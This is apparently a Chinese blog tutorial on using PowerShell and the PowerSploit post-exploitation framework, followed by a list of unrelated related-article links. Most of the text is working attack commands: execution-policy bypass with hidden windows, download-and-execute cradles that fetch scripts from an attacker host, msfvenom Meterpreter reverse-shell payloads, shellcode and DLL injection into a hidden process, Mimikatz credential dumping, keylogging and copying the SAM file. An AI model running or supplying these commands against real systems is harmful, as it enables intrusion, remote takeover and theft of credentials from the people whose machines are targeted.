Powershell & Powersploit 入门
前言
PowerShell 是运行在 Windows上实现系统和应用程序管理自动化的命令行脚本环境。你可以把它看成是命令行提示符 cmd.exe 的扩充,或是颠覆。Powershell 需要.NET环境的支持,同时支持.NET对象。其可读性,易用性,可以位居当前所有 shell 之首。
当前 PowerShell 有四版本,分别为 1.0,2.0,3.0 ,4.0
PowerShell简介
PowerShell脚本
* 本地权限绕过执行 PowerShell.exe -ExecutionPolicy Bypass -File xxx.ps1
* 本地隐藏权限绕过执行脚本 PowerShell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive-NoProfile -WindowStyle Hidden(隐藏窗口) -File xxx.ps1
* 直接用IEX下载远程的PS1脚本回来权限绕过执行 powershell "IEX (New-ObjectNet.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz -DumpCreds"
* 远程代码执行 IEX (New-Object
Net.WebClient).DownloadString(“http://<ip_address>/path/xxx.ps1”)
PowerSploit简介
一款基于powershell的后渗透(Post-Exploitation)框架,集成大量渗透相关模块和功能。
https://github.com/mattifestation/PowerSploit
Linux下简易安装和搭建Powersploit(用于测试,请勿使用非法用途)
Linux git clone powerspolit
开启Apache服务
搭建简易可下载powersploit脚本的服务器
Powersploit模块简介
* CodeExecution 在目标主机执行代码
* ScriptModification 在目标主机上创建或修改脚本
* Persistence 后门脚本(持久性控制)
* AntivirusBypass 发现杀软查杀特征
* Exfiltration 目标主机上的信息搜集工具
* Mayhem 蓝屏等破坏性脚本
* Recon 以目标主机为跳板进行内网信息侦查
Powersploit 模块运用
Invoke-Shellcode 此模块结合MSF使用可以达到意想不到的效果,在这理就不介绍。
先在目标主机安装“Invoke-Shellcode”脚本,使用Get-Help + 脚本名可以查看使用方法:
命令格式:
IEX (New-Object Net.WebClient).DownloadString("http://IP Adress/CodeExecutio
n/Invoke--Shellcode.ps1")
在MSF里面使用reverse_https模块进行反弹,设置如下
本来在Invoke-Shellcode直接使用以下这条命令进行反弹的:
Invoke-Shellcode -Payload windows/meterpreter/reverse_https –Lhost 192.168.146.129 -Lport 4444 -Force
但是Powersploit更新到了3.0, Invoke-Shellcode脚本没有Lhost和Lport参数,所以我们需要用到另外一种方法实现。
使用msfvenom生成一个powershell脚本。
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.110.129 LPORT=4444 -f powershell -o /var/www/html/tes
IEX(New-Object Net.WebClient).DownloadString("http://192.168.110.129/CodeExecution/Invoke-Shellcode.ps1")
IEX (New-Object Net.WebClient).DownloadString("http://192.168.110.129/test")
Invoke-Shellcode -Shellcode ($buf)
进程注入
首先创建一个隐藏的进程:
Start-Process c:\windows\system32\notepad.exe -WindowStyle Hidden
使用Get-Process命令查看当前进程,记住你刚刚创建的隐藏进程ID
然后使用Invoke-Shellcode脚本进行进程注入
Invoke-Shellcode -ProcessID 2384 -Shellcode ($buf)
要是你的Powersploit是2.2版本的那么可以直接使用以下命令
Invoke-Shellcode -ProcessID 2384 –Payload
windows/meterpreter/reverse_https -Lhost 192.168.100.129 -Lport 4444
DLL注入
Invoke-DLLInjection 是DLL注入脚本
首先下载安装DLL注入脚本到目标机器
IEX (New-Object Net.WebClient).DownloadString("http://192.168.110.129/CodeExecution/Inv
oke-DllInjection.ps1")
在MSF里面生成一个DLL注入脚本,然后下载DLL文件使用Invoke-DLLInjection脚本来实现DLL注入
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.110.129 LPORT=4444 -f dll –o /var/www/html/msf.dll
为什么使我们的注入更加隐蔽,我们开启一个隐藏进程来进行DLL注入
Start-Process c:\windows\system32\notepad.exe -WindowStyle Hidden
Invoke-DllInjection -ProcessID 4080 -Dll .\msf.dll
Invoke-Portscan端口扫描
Invoke-Portscan -Hosts <IP Adress/Rangr> -Ports
nvoke-Mimikatz DUMP密码(注意此脚本需要用管理员权限运行)
Invoke-Mimikatz –DumpCreds也可以直接运行
Get-Keystrokes 键盘记录器
Get-Keystrokes -LogPath + <保存位置>
Invoke-NinjaCopy 万能复制
Invoke-NinjaCopy -Path <需要复制的文件> -LocalDestination <复制文件保存位置>
像windows主机里有个数据库SAM文件,里面数据很多有价值的信息,普通的COPY命令是无法复制的,使用万能复制可以复制SAM文件
Invoke-ReverseDnsLookup DNS查询(好像没什么用- -!,望大家告诉我这玩意有什么用)
Invoke-ReverseDnsLookup -IpRange <IP_Address/Range>
Get-HttpStatus 网站目录检测(好像没什么用)
Get-HttpStatus –Target <IP Address> + 字典 (如果遇到的是HTTPS的那么后面加-UseSSL,在其他端口的那么 –Port )
上一篇: Gradle构建SpringBoot(Eclipse)
下一篇: springboot学习笔记(二)
推荐阅读
-
django(1045,"Accessdeniedforuser'wccLab'@'localhost'(usingpassword:no)BUG问题的解决教程
-
VB.NET & 策略模式(下机用户类型选择)
-
Objective-C 获取NSDate对象的年月日时分秒 && NSCalender的使用
-
Android.mk的用法和基础 && m、mm、mmm编译命令
-
程序猿"一键续命"大保健秘笈
-
【表格】大于号转义符>---小于号转义符<
-
为加速网页加载 谷歌试图让AMP标准化
-
JS短路表达式&&和||的代码实例
-
渐进增强的 Web 体验(Progressive Web AMP)
-
【RocketMQ源码深度解析2】源码目录结构介绍&Remoting通信层